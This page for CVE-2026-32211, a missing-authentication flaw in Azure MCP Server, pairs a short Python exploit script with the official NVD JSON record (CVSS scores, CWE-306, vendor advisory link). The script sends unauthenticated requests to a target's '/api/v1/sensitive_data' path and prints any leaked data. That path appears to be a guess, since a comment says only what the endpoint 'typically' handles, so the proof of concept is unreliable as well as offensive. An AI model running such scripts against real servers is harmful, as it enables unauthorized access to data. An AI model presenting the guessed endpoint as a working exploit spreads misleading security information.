CVE-2026-32211

#!/usr/bin/env python3 import requests # Exploit for CVE-2026-32211: Missing Auth in Azure MCP Server # Author: Security Analyst def exploit(target): # The vulnerable endpoint typically handles critical operations url = f"{target}/api/v1/sensitive_data" print(f"[*] Attempting to exploit {target}...") try: # Sending request without authentication headers response = requests.get(url, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Missing authentication confirmed.") print("[+] Leaked Data:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 exploit.py <target_url>") else: exploit(sys.argv[1])

{"cve": {"id": "CVE-2026-32211", "sourceIdentifier": "[email protected]", "published": "2026-04-03T00:16:04.703", "lastModified": "2026-04-06T18:08:55.450", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Missing authentication for critical function in Azure MCP Server allows an unauthorized attacker to disclose information over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_web_apps:-:*:*:*:*:*:*:*", "matchCriteriaId": "4F7255ED-CCC0-4FF2-B197-C55C4B80EEFD"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32211", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}